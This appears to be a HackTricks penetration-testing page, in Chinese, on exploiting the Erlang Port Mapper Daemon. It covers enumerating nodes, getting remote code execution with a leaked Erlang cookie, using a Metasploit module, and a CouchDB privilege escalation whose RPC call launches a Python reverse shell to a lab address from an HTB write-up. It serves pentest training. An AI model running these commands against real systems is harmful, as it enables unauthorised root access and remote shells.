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86 lines
3.1 KiB
Markdown
86 lines
3.1 KiB
Markdown
{{#include ../banners/hacktricks-training.md}}
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# 基本信息
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**Erlang Port Mapper Daemon (epmd)** 作为分布式 Erlang 实例的协调者。它负责将符号节点名称映射到机器地址，基本上确保每个节点名称与特定地址相关联。**epmd** 的这一角色对于不同 Erlang 节点在网络中的无缝交互和通信至关重要。
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**默认端口**：4369
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```
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PORT STATE SERVICE VERSION
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4369/tcp open epmd Erlang Port Mapper Daemon
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```
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这在 RabbitMQ 和 CouchDB 安装中默认使用。
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# 枚举
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## 手动
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```bash
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echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
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#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
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dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
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apt-get install erlang
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erl #Once Erlang is installed this will promp an erlang terminal
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1> net_adm:names('<HOST>'). #This will return the listen addresses
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```
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## 自动
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```bash
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nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
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PORT STATE SERVICE VERSION
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4369/tcp open epmd Erlang Port Mapper Daemon
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| epmd-info:
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| epmd_port: 4369
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| nodes:
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| bigcouch: 11502
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| freeswitch: 8031
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| ecallmgr: 11501
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| kazoo_apps: 11500
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|_ kazoo-rabbitmq: 25672
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```
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# Erlang Cookie RCE
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## Remote Connection
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如果你能**泄露认证 cookie**，你将能够在主机上执行代码。通常，这个 cookie 位于 `~/.erlang.cookie`，并在 Erlang 首次启动时生成。如果没有手动修改或设置，它是一个长度为 20 个字符的随机字符串 \[A:Z]。
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```bash
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greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
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Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
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Eshell V8.1 (abort with ^G)
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At last, we can start an erlang shell on the remote system.
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(test@target.fqdn)1>os:cmd("id").
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"uid=0(root) gid=0(root) groups=0(root)\n"
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```
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更多信息请访问 [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
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作者还分享了一个用于暴力破解 cookie 的程序：
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{{#file}}
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epmd_bf-0.1.tar.bz2
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{{#endfile}}
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## 本地连接
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在这种情况下，我们将利用 CouchDB 来提升本地权限：
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```bash
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HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
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(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
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"homer\n"
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(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
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```
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示例取自 [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
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您可以使用 **Canape HTB 机器来** **练习** 如何 **利用此漏洞**。
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## Metasploit
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```bash
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#Metasploit can also exploit this if you know the cookie
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msf5> use exploit/multi/misc/erlang_cookie_rce
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```
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# Shodan
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- `port:4369 "在端口"`
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{{#include ../banners/hacktricks-training.md}}
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